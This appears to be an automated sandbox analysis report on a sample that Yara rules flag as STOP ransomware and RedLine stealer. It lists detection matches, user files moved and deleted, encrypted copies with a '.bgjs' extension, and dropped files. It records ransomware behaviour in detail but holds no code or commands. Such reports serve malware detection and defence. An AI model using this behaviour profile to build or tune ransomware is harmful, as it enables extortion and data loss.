Source: Yara match	File source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 2700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 4444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 7004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 2312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 3228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 6064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 3228, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	File moved: C:\Users\user\Desktop\AIXACVYBSB\XZXHAVGRAG.pdf
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	File deleted: C:\Users\user\Desktop\AIXACVYBSB\XZXHAVGRAG.pdf
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.png
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	File deleted: C:\Users\user\Desktop\NWTVCDUMOB.png
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99299747704	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm entropy: 7.99084392037	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99835647308	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99830046039	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99876432399	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99565456203	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584106327735201.txt entropy: 7.99861263271	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945532285405.txt entropy: 7.99851096184	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99833800433	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99820703907	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99829202831	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99836569286	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99811332025	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99724106886	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.994962317	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99865371982	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99171366658	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99726298518	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99655599098	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.9902865267	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.99881477488	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99486337818	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session entropy: 7.99188843893	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99266971577	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99218369485	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99318944565	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db entropy: 7.99839541163	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db entropy: 7.99815709501	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99333766916	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99778623195	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99847606614	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99796858318	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99817666376	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99430781384	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{68b56d90-5571-43e6-8322-2b266dfbe856}\0.0.filtertrie.intermediate.txt entropy: 7.99565198837	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft entropy: 7.99623408921	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt entropy: 7.99583891975	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6be4a616-5cae-40db-b3b2-65a1b8d928ac}\Apps.ft entropy: 7.99606784515	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6be4a616-5cae-40db-b3b2-65a1b8d928ac}\0.0.filtertrie.intermediate.txt entropy: 7.99489164066	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{68b56d90-5571-43e6-8322-2b266dfbe856}\Apps.ft entropy: 7.99628172703	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.99844869155	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt entropy: 7.99568375579	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db entropy: 7.99630297233	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db entropy: 7.99788456398	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99172849041	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy) entropy: 7.99171366658	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy) entropy: 7.99726298518	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy) entropy: 7.99655599098	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy) entropy: 7.9902865267	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgjs (copy) entropy: 7.99881477488	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy) entropy: 7.99486337818	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgjs (copy) entropy: 7.99188843893	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy) entropy: 7.99266971577	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy) entropy: 7.99218369485	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy) entropy: 7.99318944565	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgjs (copy) entropy: 7.99839541163	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgjs (copy) entropy: 7.99815709501	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgjs (copy) entropy: 7.99630297233	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgjs (copy) entropy: 7.99788456398	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy) entropy: 7.99172849041	Jump to dropped file
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm entropy: 7.99509822591	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 4.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.1668456662.0000000004630000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.1823128668.0000000004501000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.1738911093.0000000004402000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1657747335.0000000004482000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
